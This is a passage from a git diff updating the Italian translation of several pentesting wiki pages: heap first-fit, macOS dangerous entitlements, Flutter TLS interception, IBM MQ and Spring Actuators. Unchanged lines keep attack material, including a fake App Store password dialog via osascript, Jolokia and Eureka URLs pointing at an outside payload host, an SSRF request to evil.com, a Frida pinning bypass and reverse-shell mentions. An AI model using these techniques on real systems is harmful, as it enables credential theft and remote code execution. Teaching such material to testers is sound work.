lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti). {{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 9fd5799b2..6f88d1b95 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -24,11 +24,11 @@ char *c = malloc(250); ``` ### Fastbins -I fastbins sono utilizzati per piccoli chunk di memoria. A differenza degli unsorted bins, i fastbins aggiungono nuovi chunk all'inizio, creando un comportamento last-in-first-out (LIFO). Se richiedi un piccolo chunk di memoria, l'allocatore preleverà dalla testa del fastbin. +I fastbins sono utilizzati per piccoli chunk di memoria. A differenza degli unsorted bins, i fastbins aggiungono nuovi chunk alla testa, creando un comportamento last-in-first-out (LIFO). Se richiedi un piccolo chunk di memoria, l'allocatore preleverà dalla testa del fastbin. Esempio: -- Allochi quattro chunk di 20 byte ciascuno (`a`, `b`, `c`, `d`). +- Allocchi quattro chunk di 20 byte ciascuno (`a`, `b`, `c`, `d`). - Quando li liberi in qualsiasi ordine, i chunk liberati vengono aggiunti alla testa del fastbin. - Se poi richiedi un chunk di 20 byte, l'allocatore restituirà il chunk liberato più di recente dalla testa del fastbin. ```c @@ -57,4 +57,6 @@ d = malloc(20); // a - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - È possibile allocare della memoria, scrivere il valore desiderato, liberarlo, riallocarlo e poiché i dati precedenti sono ancora lì, verrà trattato secondo la nuova struttura prevista nel chunk rendendo possibile impostare il valore per ottenere il flag. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) -- In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo aver forzato la liberazione di tutti). Su ogni nuovo chunk allocato, il suo numero nell'indice dell'array è memorizzato. Poi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberali e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno. +- In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo aver forzato la liberazione di tutti). In ogni nuovo chunk allocato, il suo numero nell'indice dell'array è memorizzato. Poi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberali e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index abeb0467e..04d8066c3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -5,7 +5,7 @@ > [!WARNING] > Nota che le autorizzazioni che iniziano con **`com.apple`** non sono disponibili per terze parti, solo Apple può concederle. -## Alto +## High ### `com.apple.rootless.install.heritable` @@ -17,15 +17,15 @@ L'autorizzazione **`com.apple.rootless.install`** consente di **bypassare SIP**. ### **`com.apple.system-task-ports` (precedentemente chiamato `task_for_pid-allow`)** -Questa autorizzazione consente di ottenere il **port task per qualsiasi** processo, tranne il kernel. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). +Questa autorizzazione consente di ottenere il **task port per qualsiasi** processo, tranne il kernel. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). ### `com.apple.security.get-task-allow` -Questa autorizzazione consente ad altri processi con l'autorizzazione **`com.apple.security.cs.debugger`** di ottenere il port task del processo eseguito dal binario con questa autorizzazione e **iniettare codice su di esso**. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). +Questa autorizzazione consente ad altri processi con l'autorizzazione **`com.apple.security.cs.debugger`** di ottenere il task port del processo eseguito dal binario con questa autorizzazione e **iniettare codice su di esso**. Controlla [**questo per maggiori informazioni**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). ### `com.apple.security.cs.debugger` -Le app con l'autorizzazione Debugging Tool possono chiamare `task_for_pid()` per recuperare un port task valido per app non firmate e di terze parti con l'autorizzazione `Get Task Allow` impostata su `true`. Tuttavia, anche con l'autorizzazione dello strumento di debug, un debugger **non può ottenere i port task** dei processi che **non hanno l'autorizzazione `Get Task Allow`**, e che sono quindi protetti dalla Protezione dell'Integrità di Sistema. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). +Le app con l'autorizzazione Debugging Tool possono chiamare `task_for_pid()` per recuperare un task port valido per app non firmate e di terze parti con l'autorizzazione `Get Task Allow` impostata su `true`. Tuttavia, anche con l'autorizzazione dello strumento di debug, un debugger **non può ottenere i task port** di processi che **non hanno l'autorizzazione `Get Task Allow`**, e che sono quindi protetti dalla Protezione dell'Integrità di Sistema. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). ### `com.apple.security.cs.disable-library-validation` @@ -46,7 +46,7 @@ Questa autorizzazione consente di **utilizzare variabili di ambiente DYLD** che ### **`system.install.apple-software`** e **`system.install.apple-software.standar-user`** -Queste autorizzazioni consentono di **installare software senza chiedere permessi** all'utente, il che può essere utile per un **elevazione di privilegi**. +Queste autorizzazioni consentono di **installare software senza chiedere permessi** all'utente, il che può essere utile per un **privilege escalation**. ### `com.apple.private.security.kext-management` @@ -66,11 +66,11 @@ TODO: Non so cosa consenta di fare ### `com.apple.private.apfs.revert-to-snapshot` -TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere utilizzato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore! +TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere usato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore! ### `com.apple.private.apfs.create-sealed-snapshot` -TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere utilizzato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore! +TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **si menziona che questo potrebbe essere usato per** aggiornare i contenuti protetti da SSV dopo un riavvio. Se sai come farlo invia una PR per favore! ### `keychain-access-groups` @@ -97,7 +97,7 @@ Come farle chiedere all'utente la propria password: ```bash osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' ``` -Or farli eseguire **azioni arbitrarie**. +Or making them perform **azioni arbitrarie**. ### **`kTCCServiceEndpointSecurityClient`** @@ -117,24 +117,24 @@ Consente di modificare i file all'interno del bundle delle app (all'interno di a ### `kTCCServiceAccessibility` -Il processo sarà in grado di **abusare delle funzionalità di accessibilità di macOS**, il che significa che, ad esempio, sarà in grado di premere tasti. Quindi potrebbe richiedere l'accesso per controllare un'app come Finder e approvare la finestra di dialogo con questa autorizzazione. +Il processo sarà in grado di **abusare delle funzionalità di accessibilità di macOS**, il che significa che, ad esempio, sarà in grado di premere tasti. Quindi potrebbe richiedere l'accesso per controllare un'app come Finder e approvare la finestra di dialogo con questo permesso. ## Medium ### `com.apple.security.cs.allow-jit` -Questa autorizzazione consente di **creare memoria che è scrivibile ed eseguibile** passando il flag `MAP_JIT` alla funzione di sistema `mmap()`. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit). +Questa autorizzazione consente di **creare memoria che è scrivibile ed eseguibile** passando il flag `MAP_JIT` alla funzione di sistema `mmap()`. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit). ### `com.apple.security.cs.allow-unsigned-executable-memory` -Questa autorizzazione consente di **sovrascrivere o patchare codice C**, utilizzare il deprecato **`NSCreateObjectFileImageFromMemory`** (che è fondamentalmente insicuro) o utilizzare il framework **DVDPlayback**. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). +Questa autorizzazione consente di **sovrascrivere o patchare codice C**, utilizzare il deprecato **`NSCreateObjectFileImageFromMemory`** (che è fondamentalmente insicuro) o utilizzare il framework **DVDPlayback**. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). > [!CAUTION] -> Includere questa autorizzazione espone la tua app a vulnerabilità comuni nei linguaggi di programmazione non sicuri in memoria. Considera attentamente se la tua app ha bisogno di questa eccezione. +> Includere questa autorizzazione espone la tua app a vulnerabilità comuni nei linguaggi di codice non sicuro in memoria. Considera attentamente se la tua app ha bisogno di questa eccezione. ### `com.apple.security.cs.disable-executable-page-protection` -Questa autorizzazione consente di **modificare sezioni dei propri file eseguibili** su disco per uscire forzatamente. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). +Questa autorizzazione consente di **modificare sezioni dei propri file eseguibili** su disco per uscire forzatamente. Controlla [**questo per maggiori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). > [!CAUTION] > L'Autorizzazione per Disabilitare la Protezione della Memoria Eseguibile è un'autorizzazione estrema che rimuove una protezione fondamentale della sicurezza dalla tua app, rendendo possibile per un attaccante riscrivere il codice eseguibile della tua app senza essere rilevato. Preferisci autorizzazioni più ristrette se possibile. @@ -149,7 +149,7 @@ Questa autorizzazione consente di montare un file system nullfs (vietato per imp ### `kTCCServiceAll` -Secondo questo post del blog, questa autorizzazione TCC si trova solitamente nella forma: +Secondo questo post del blog, questo permesso TCC si trova solitamente nella forma: ``` [Key] com.apple.private.tcc.allow-prompting [Value] @@ -161,3 +161,10 @@ Consenti al processo di **richiedere tutte le autorizzazioni TCC**. ### **`kTCCServicePostEvent`** {{#include ../../../banners/hacktricks-training.md}} + + + + + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/flutter.md b/src/mobile-pentesting/android-app-pentesting/flutter.md index 801bd5630..3c98c7b46 100644 --- a/src/mobile-pentesting/android-app-pentesting/flutter.md +++ b/src/mobile-pentesting/android-app-pentesting/flutter.md @@ -4,7 +4,7 @@ # Flutter Flutter è il **toolkit UI cross-platform di Google** che consente agli sviluppatori di scrivere un'unica base di codice Dart che l'**Engine** (C/C++ nativo) trasforma in codice macchina specifico per Android e iOS. -L'Engine include un **Dart VM**, **BoringSSL**, Skia, ecc., e viene fornito come libreria condivisa **libflutter.so** (Android) o **Flutter.framework** (iOS). Tutte le operazioni di rete effettive (DNS, socket, TLS) avvengono **all'interno di questa libreria**, *non* nei soliti livelli Java/Kotlin Swift/Obj-C. Questo design isolato è il motivo per cui i soliti hook di Frida a livello Java non funzionano sulle app Flutter. +L'Engine include un **Dart VM**, **BoringSSL**, Skia, ecc., e viene fornito come libreria condivisa **libflutter.so** (Android) o **Flutter.framework** (iOS). Tutte le operazioni di rete effettive (DNS, socket, TLS) avvengono **all'interno di questa libreria**, *non* nei consueti livelli Java/Kotlin Swift/Obj-C. Questo design isolato è il motivo per cui i consueti hook Frida a livello Java non funzionano sulle app Flutter. ## Intercettare il traffico HTTPS in Flutter @@ -15,10 +15,10 @@ Questo è un riepilogo di questo [blog post](https://sensepost.com/blog/2025/int * **BoringSSL utilizza il proprio store CA** all'interno di libflutter.so; importare il tuo CA di Burp/ZAP nello store di sistema di Android non cambia nulla. * I simboli in libflutter.so sono **strippati e offuscati**, nascondendo la funzione di verifica del certificato dagli strumenti dinamici. -### Identificare esattamente lo stack Flutter +### Fingerprint l'esatto stack Flutter Conoscere la versione ti consente di ricostruire o abbinare i binari giusti. -Passo | Comando / File | Risultato +Step | Comando / File | Risultato ----|----|---- Ottieni hash snapshot | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…` Mappa hash → Engine | **enginehash** list in reFlutter | Flutter 3 · 7 · 12 + commit engine `1a65d409…` @@ -40,7 +40,7 @@ Trova [get_snapshot_hash.py qui](https://github.com/Impact-I/reFlutter/blob/main 4. **Build pre-patchate** per versioni comuni sono disponibili nelle release di reFlutter su GitHub per risparmiare ore di tempo di build. ### Opzione B – Hooking live con **Frida** (il percorso “hard-core”) -Poiché il simbolo è strippato, esegui una scansione del modulo caricato per i suoi primi byte, quindi cambia il valore di ritorno al volo. +Poiché il simbolo è strippato, esegui una scansione del pattern del modulo caricato per i suoi primi byte, quindi cambia il valore di ritorno al volo. ```javascript // attach & locate libflutter.so var flutter = Process.getModuleByName("libflutter.so"); @@ -73,3 +73,6 @@ Flutter stesso **ignora le impostazioni del proxy del dispositivo**. Opzioni pi ## Riferimenti - [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index 36568c40b..57b4a57e6 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -20,7 +20,7 @@ Per un approccio più manuale, utilizzare la libreria Python **[pymqi](https://g ### Installazione di pymqi -**Le dipendenze di IBM MQ** devono essere installate e caricate: +È necessario installare e caricare **le dipendenze di IBM MQ**: 1. Crea un account (IBMid) su [https://login.ibm.com/](https://login.ibm.com/). 2. Scarica le librerie IBM MQ da [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Per Linux x86_64 è **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. @@ -31,10 +31,10 @@ Per un approccio più manuale, utilizzare la libreria Python **[pymqi](https://g > > ```bash > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] -> then -> echo "ERROR: This package is incompatible with this system" -> echo " This package was built for ${BUILD_PLATFORM}" -> exit 1 +> then +> echo "ERROR: This package is incompatible with this system" +> echo " This package was built for ${BUILD_PLATFORM}" +> exit 1 > fi > ``` @@ -56,7 +56,7 @@ Basta usare: `sudo docker run --rm -ti leonjza/punch-q`. #### Senza Docker -Clona il progetto [**punch-q**](https://github.com/sensepost/punch-q) e poi segui il readme per l'installazione (`pip install -r requirements.txt && python3 setup.py install`). +Clona il progetto [**punch-q**](https://github.com/sensepost/punch-q) e segui il readme per l'installazione (`pip install -r requirements.txt && python3 setup.py install`). Dopo, può essere utilizzato con il comando `punch-q`. @@ -80,7 +80,7 @@ Queue Manager name: MYQUEUEMGR "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` -Può capitare che alcune istanze IBM MQ accettino richieste MQ **non autenticate**, quindi `--username / --password` non sono necessari. Naturalmente, i diritti di accesso possono anche variare. +Succede che alcune istanze di IBM MQ accettino richieste MQ **non autenticate**, quindi `--username / --password` non è necessario. Naturalmente, i diritti di accesso possono anche variare. Non appena otteniamo un nome di canale (qui: `DEV.ADMIN.SVRCONN`), possiamo enumerare tutti gli altri canali. @@ -183,7 +183,7 @@ Puoi mirare a coda(e)/canale(i) per fiutare / scaricare messaggi da essi (operaz ### Esecuzione del codice -> Alcuni dettagli prima di continuare: IBM MQ può essere controllato attraverso più modalità: MQSC, PCF, Control Command. Alcuni elenchi generali possono essere trovati nella [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). +> Alcuni dettagli prima di continuare: IBM MQ può essere controllato in diversi modi: MQSC, PCF, Control Command. Alcuni elenchi generali possono essere trovati nella [documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Formati di Comando Programmabili_**) è su cui ci concentriamo per interagire da remoto con l'istanza. **punch-q** e inoltre **pymqi** si basano sulle interazioni PCF. > > Puoi trovare un elenco di comandi PCF: @@ -193,7 +193,7 @@ Puoi mirare a coda(e)/canale(i) per fiutare / scaricare messaggi da essi (operaz > > Un comando interessante è `MQCMD_CREATE_SERVICE` e la sua documentazione è disponibile [qui](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Prende come argomento un `StartCommand` che punta a un programma locale sull'istanza (esempio: `/bin/sh`). > -> C'è anche un avviso sul comando nella documentazione: _"Attenzione: Questo comando consente a un utente di eseguire un comando arbitrario con autorità mqm. Se vengono concessi diritti per utilizzare questo comando, un utente malintenzionato o negligente potrebbe definire un servizio che danneggia i tuoi sistemi o dati, ad esempio, eliminando file essenziali."_ +> C'è anche un avviso sul comando nella documentazione: _"Attenzione: Questo comando consente a un utente di eseguire un comando arbitrario con autorità mqm. Se vengono concessi diritti per utilizzare questo comando, un utente malintenzionato o distratto potrebbe definire un servizio che danneggia i tuoi sistemi o dati, ad esempio, eliminando file essenziali."_ > > _Nota: sempre secondo la documentazione di IBM MQ (Riferimento all'Amministrazione), c'è anche un endpoint HTTP a `/admin/action/qmgr/{qmgrName}/mqsc` per eseguire il comando MQSC equivalente per la creazione del servizio (`DEFINE SERVICE`). Questo aspetto non è ancora trattato qui._ @@ -233,7 +233,7 @@ Per una reverse shell facile, **punch-q** propone anche due payload per reverse - Uno con bash - Uno con perl -_È ovvio che puoi costruirne uno personalizzato con il comando `execute`._ +_Certo, puoi costruirne uno personalizzato con il comando `execute`._ Per bash: ```bash @@ -275,7 +275,7 @@ else: qmgr.disconnect() ``` -Se non riesci a trovare i nomi costanti, puoi fare riferimento alla [documentazione IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). +Se non riesci a trovare i nomi delle costanti, puoi fare riferimento alla [documentazione IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). > _Esempio per [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimale = 73). Ha bisogno del parametro `MQCA_CLUSTER_NAME` (Decimale = 2029) che può essere `_` (Doc: ):\* > @@ -294,19 +294,19 @@ Se non riesci a trovare i nomi costanti, puoi fare riferimento alla [documentazi > pcf = pymqi.PCFExecute(qmgr) > > try: -> args = {2029: "*"} -> response = pcf.MQCMD_REFRESH_CLUSTER(args) +> args = {2029: "*"} +> response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: -> print("Error") +> print("Error") > else: -> print(response) +> print(response) > > qmgr.disconnect() > ``` ## Ambiente di test -Se vuoi testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambiente locale basato su Docker: +Se desideri testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambiente locale basato su Docker: 1. Avere un account su ibm.com e cloud.ibm.com. 2. Creare un IBM MQ containerizzato con: @@ -314,7 +314,8 @@ Se vuoi testare il comportamento e gli exploit di IBM MQ, puoi impostare un ambi sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` -Per impostazione predefinita, l'autenticazione è abilitata, il nome utente è `admin` e la password è `passw0rd` (variabile ambiente `MQ_ADMIN_PASSWORD`). Qui, il nome del gestore della coda è stato impostato su `MYQUEUEMGR` (variabile `MQ_QMGR_NAME`). +Per impostazione predefinita, l'autenticazione è abilitata, il nome utente è `admin` e la password è `passw0rd` (variabile ambiente `MQ_ADMIN_PASSWORD`). +Qui, il nome del gestore della coda è stato impostato su `MYQUEUEMGR` (variabile `MQ_QMGR_NAME`). Dovresti avere IBM MQ in esecuzione con le sue porte esposte: ```bash @@ -322,10 +323,12 @@ Dovresti avere IBM MQ in esecuzione con le sue porte esposte: CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` -> Le vecchie versioni delle immagini docker di IBM MQ si trovano su: https://hub.docker.com/r/ibmcom/mq/. +> Le vecchie versioni delle immagini Docker di IBM MQ si trovano su: https://hub.docker.com/r/ibmcom/mq/. ## Riferimenti - [mgeeky's gist - "Note pratiche di Penetration Testing di IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [Documentazione di IBM MQ](https://www.ibm.com/docs/en/ibm-mq) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 7a0a867be..3d5e4b48a 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -14,7 +14,7 @@ ### **Punti Chiave:** -- I Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo `/health` e `/info` sono non sensibili per impostazione predefinita, ma gli sviluppatori spesso disabilitano questa sicurezza. +- Gli Actuators di Spring Boot registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo `/health` e `/info` sono non sensibili per impostazione predefinita, ma gli sviluppatori spesso disabilitano questa sicurezza. - Alcuni endpoint degli Actuator possono esporre dati sensibili o consentire azioni dannose: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`. - In Spring Boot 1.x, gli actuators sono registrati sotto l'URL radice, mentre in 2.x, sono sotto il percorso base `/actuator/`. @@ -27,7 +27,7 @@ - URL di esempio per lo sfruttamento: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Modifica della Configurazione tramite '/env'**: -- Se le librerie Spring Cloud sono presenti, l'endpoint `/env` consente la modifica delle proprietà ambientali. +- Se sono presenti le librerie di Spring Cloud, l'endpoint `/env` consente la modifica delle proprietà ambientali. - Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream nel serviceURL di Eureka. - Richiesta POST di esempio per lo sfruttamento: @@ -54,7 +54,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream - I dettagli su come sfruttare la combinazione dell'endpoint `/env` e del database H2 possono essere trovati [qui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF su Spring Boot tramite Interpretazione Errata del Nome del Percorso**: -- La gestione dei parametri di matrice (`;`) nel framework Spring negli URL HTTP può essere sfruttata per Server-Side Request Forgery (SSRF). +- La gestione dei parametri di matrice (`;`) da parte del framework Spring negli URL HTTP può essere sfruttata per Server-Side Request Forgery (SSRF). - Richiesta di esempio per lo sfruttamento: ```http GET ;@evil.com/url HTTP/1.1 @@ -62,3 +62,8 @@ Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}} + + + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vuejs.md b/src/network-services-pentesting/pentesting-web/vuejs.md index f7f7e6c45..371a5f48f 100644 --- a/src/network-services-pentesting/pentesting-web/vuejs.md +++ b/src/network-services-pentesting/pentesting-web/vuejs.md @@ -5,7 +5,7 @@ ## Sinks XSS in Vue.js ### Direttiva v-html -La direttiva `v-html` rende HTML **grezzo**, quindi qualsiasi `